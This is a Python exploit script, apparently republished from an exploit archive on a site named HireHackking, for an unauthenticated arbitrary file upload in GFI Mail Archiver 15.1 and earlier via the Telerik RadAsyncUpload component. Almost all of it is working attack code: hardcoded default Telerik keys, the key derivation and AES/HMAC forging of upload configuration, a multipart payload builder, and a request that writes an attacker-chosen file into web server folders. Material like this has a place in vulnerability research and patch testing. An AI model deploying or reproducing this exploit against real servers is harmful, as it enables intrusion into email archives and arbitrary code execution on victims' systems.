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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GFI Mail Archiver 15.1 - Telerik UI Component Arbitrary File Upload (Unauthenticated)
# Date: 21/03/2021
# Exploit Author: Amin Bohio
# Original Research & Code By: Paul Taylor / Foregenix Ltd
# Original Exploit: https://github.com/bao7uo/RAU_crypto
# Vendor Homepage: https://www.gfi.com
# Software Link: https://www.gfi.com/products-and-solutions/network-security-solutions/gfi-archiver
# Vulnerable Versions: GFI Mail Archiver <= 15.1
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# Tested on: Windows & Linux

# Usage: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p pathonwebserver

#!/usr/bin/python3

# Original Telerik Exploit Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

# Modified by: Amin Bohio

import sys
import base64
import json
import re
import requests
import os
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
from Crypto.Hash import SHA1
from struct import Struct
from operator import xor
from itertools import starmap

import binascii

from requests.packages.urllib3.exceptions import InsecureRequestWarning

#   ******************************************
#   ******************************************

# ADVANCED_SETTINGS section 1 of 2
# Warning, the below prevents certificate warnings,
# and verify = False (CERT_VERIFY prevents them being verified

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

CERT_VERIFY = False

#   ******************************************
#   ******************************************

class PBKDF:

    def sha1(v):
        hl = SHA1.new()
        hl.update(v)
        return hl.digest()

    def derive1(password, salt):
        hash = (password + salt).encode()
        for i in range(0, 99):
            hash = PBKDF.sha1(hash)

        result = PBKDF.sha1(hash)
        i = 1
        while len(result) < 48:
            result += PBKDF.sha1(str(i).encode() + hash)
            i += 1

        return result

    def hmacsha1(v):
        hl = PBKDF.mac.copy()
        hl.update(v)
        return bytearray(hl.digest())


    def derive2(password, salt):
        # Credit: @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2/blob/master/pbkdf2.py
        result_length = 48
        PBKDF.mac = HMAC.new(bytes(password.encode()), None, SHA1.new())
        result = []
        for b in range(1, -(-result_length // PBKDF.mac.digest_size) + 1):
            rv = u = PBKDF.hmacsha1(salt.encode() + Struct('>i').pack(b))
            for i in range(999):
                u = PBKDF.hmacsha1(u)
                rv = starmap(xor, zip(rv, u))
            result.extend(rv)
        result = b''.join(map(bytes, [result]))[:result_length]
        return result

    def derive(type, password,salt = ''.join(chr(i) for i in [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1])):
        if type == 1:
            result = PBKDF.derive1(password, salt)
            result = result[0:32] + result[8:16] + result[40:48] # Bizarre hack
        elif type == 2:
            result = PBKDF.derive2(password, salt)

        return result[0:32], result[32:]


class RAUCipher:


#   ******************************************
#   ******************************************

    # ADVANCED_SETTINGS section 2 of 2

    # Default settings are for vulnerable versions before 2017 patches with default keys

    T_Upload_ConfigurationHashKey = \
        "PrivateKeyForHashOfUploadConfiguration" # Default hardcoded key for versions before 2017 patches
    HASHKEY = T_Upload_ConfigurationHashKey # or your custom hashkey

    T_AsyncUpload_ConfigurationEncryptionKey = \
        "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration" # Default hardcoded key for versions before 2017 patches
    PASSWORD = T_AsyncUpload_ConfigurationEncryptionKey # or your custom password

    # Latest tested version working with this setting: 2018.1.117
    # Probably working up to and including 2018.3.910
    PBKDF_ALGORITHM = 1

    # Earliest tested version working with this setting: 2019.2.514
    # Probably introduced 2019.1.115
#    PBKDF_ALGORITHM = 2

#   ******************************************
#   ******************************************

    key, iv = PBKDF.derive(PBKDF_ALGORITHM, PASSWORD)

#    print(binascii.hexlify(key).decode().upper())
#    print(binascii.hexlify(iv).decode().upper())

    def encrypt(plaintext):
        sys.stderr.write("Encrypting... ")
        encoded = ""
        for i in plaintext:
            encoded = encoded + i + "\x00"
        plaintext = encoded + (
                                chr(16 - (len(encoded) % 16)) *
                                (16 - (len(encoded) % 16))
                            )
        cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
        sys.stderr.write("done\n")
        return base64.b64encode(cipher.encrypt(plaintext.encode())).decode()


    def decrypt(ciphertext):
        sys.stderr.write("Decrypting... ")
        ciphertext = base64.b64decode(ciphertext)
        cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
        unpad = lambda s: s[0:-ord(chr(s[-1]))]
        sys.stderr.write("done\n")
        return unpad(cipher.decrypt(ciphertext)).decode()[0::2]


    def addHmac(string, Version):

        isHmacVersion = False

        # "Encrypt-then-MAC" feature introduced in R1 2017
        # Required for >= "2017.1.118" (e.g. "2017.1.118", "2017.1.228", "2017.2.503" etc.)

        if int(Version[:4]) >= 2017:
            isHmacVersion = True

        hmac = HMAC.new(
            bytes(RAUCipher.HASHKEY.encode()),
            string.encode(),
            SHA256.new()
            )

        hmac = base64.b64encode(hmac.digest()).decode()
        return string + hmac if isHmacVersion else string


def getProxy(proxy):
    return { "http" : proxy, "https" : proxy }


def rauPostData_enc(partA, partB):
    data = "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
    data += "\r\n"
    data += RAUCipher.encrypt(partA) + "&" + RAUCipher.encrypt(partB) + "\r\n"
    return  data


def rauPostData_prep(TempTargetFolder, Version):
    TargetFolder = RAUCipher.addHmac(
                                RAUCipher.encrypt(""),
                                Version
                                )
    TempTargetFolder = RAUCipher.addHmac(
                                RAUCipher.encrypt(TempTargetFolder),
                                Version
                                )

    partA = \
        '{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
        TempTargetFolder + \
        '","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'

    partB = \
        "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
        Version + ", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
    
    return rauPostData_enc(partA, partB)


def payload(TempTargetFolder, Version, payload_filename):
    sys.stderr.write("Local file path: " + payload_filename + "\n")
    payload_filebasename = os.path.basename(payload_filename)
    sys.stderr.write("Destination file name: " + payload_filebasename + "\n")
    sys.stderr.write("Destination path: " + TempTargetFolder + "\n")
    sys.stderr.write("Version: " + Version + "\n")
    sys.stderr.write("Preparing payload... \n")
    payload_file = open(payload_filename, "rb")
    payload_file_data = payload_file.read()
    payload_file.close()

    data = rauPostData_prep(TempTargetFolder, Version)
    data += "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
    data += "Content-Type: application/octet-stream\r\n"
    data += "\r\n"
    data += payload_file_data.decode("raw_unicode_escape") + "\r\n"
    data += "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
    data += "\r\n"
    data += "RAU_crypto.bypass\r\n"
    data += "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
    data += "\r\n"
    data += "text/html\r\n"
    data += "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
    data += "\r\n"
    data += "2019-01-02T03:04:05.067Z\r\n"
    data += "-----------------------------62616f37756f2f\r\n"
    data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
    data += "\r\n"
    data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
            payload_filebasename + "\"}\r\n"
    data += "-----------------------------62616f37756f2f--\r\n"
    data += "\r\n"
    sys.stderr.write("Payload prep done\n")
    return data


def upload(data, url, proxy = False):

    global CERT_VERIFY

    sys.stderr.write("Preparing to send request to " + url + "\n")
    session = requests.Session()
    request = requests.Request(
                        "POST",
                        url,
                        data=data
                        )
    request = request.prepare()
    request.headers["Content-Type"] = \
        "multipart/form-data; " +\
        "boundary=---------------------------62616f37756f2f"
    response = session.send(request, verify=CERT_VERIFY, proxies = getProxy(proxy))
    sys.stderr.write("Request done\n")
    return response.text


def decode_rauPostData(rauPostData):
    rauPostData = rauPostData.split("&")
    rauJSON = RAUCipher.decrypt(rauPostData[0])
    decoded = "\nJSON: " + rauJSON + "\n"
    TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
    decoded = decoded + "\nTempTargetFolder = " + \
                        RAUCipher.decrypt(TempTargetFolder) + "\n"
    rauVersion = RAUCipher.decrypt(rauPostData[1])
    decoded = decoded + "\nVersion: " + rauVersion + "\n"
    return decoded


def mode_decrypt():
    # decrypt ciphertext
    ciphertext = sys.argv[2]
    print("\n" + RAUCipher.decrypt(ciphertext) + "\n")


def mode_Decrypt_rauPostData():
    # decrypt rauPostData
    rauPostData = sys.argv[2]
    print(decode_rauPostData(rauPostData))


def mode_encrypt():
    # encrypt plaintext
    plaintext = sys.argv[2]
    print("\n" + RAUCipher.encrypt(plaintext) + "\n")


def mode_Encrypt_rauPostData():
    # encrypt rauPostData based on TempTargetFolder and Version
    TempTargetFolder = sys.argv[2]
    Version = sys.argv[3]
    print(
        "rauPostData: " +
        rauPostData_prep(TempTargetFolder, Version) +
        "\n"
    )


def mode_payload():
    # generate a payload based on TempTargetFolder, Version and payload file
    TempTargetFolder = sys.argv[2]
    Version = "2013.1.417.40"
    payload_filename = sys.argv[4]
    print("Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f")
    print(payload(TempTargetFolder, Version, payload_filename))


def mode_Post(proxy = False):
    # generate and upload a payload based on
    # TempTargetFolder, Version, payload file and url
    Version = "2013.1.417.40"
    url = sys.argv[2] + "/Telerik.Web.UI.WebResource.axd?type=rau"
    payload_filename = sys.argv[4]
    TempTargetFolder = sys.argv[6]

    print(upload(payload(TempTargetFolder, Version, payload_filename), url, proxy))
    print("\n[+] Check your uploaded file\n");


def mode_help():
    print(
        "Usage: \nExample1: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Program Files\\GFI\\Archiver\\ASPNET\\UI\\Images\\' \nExample2: python3 gfipwn.py -u http://[host]/Archiver/ -f filetoupload -p 'C:\\Windows\\Temp'")


sys.stderr.write("\n[+] Original Research by Paul Taylor / @bao7uo \n[+] Modified by Amin Bohio\n")
sys.stderr.write("[+] GFI Mail Archiver <= 15.1 - Telerik Arbitrary File Upload\n\n")

if len(sys.argv) < 2:
    mode_help()
elif sys.argv[1] == "-u" and len(sys.argv) == 7:
    mode_Post()
else:
    mode_help()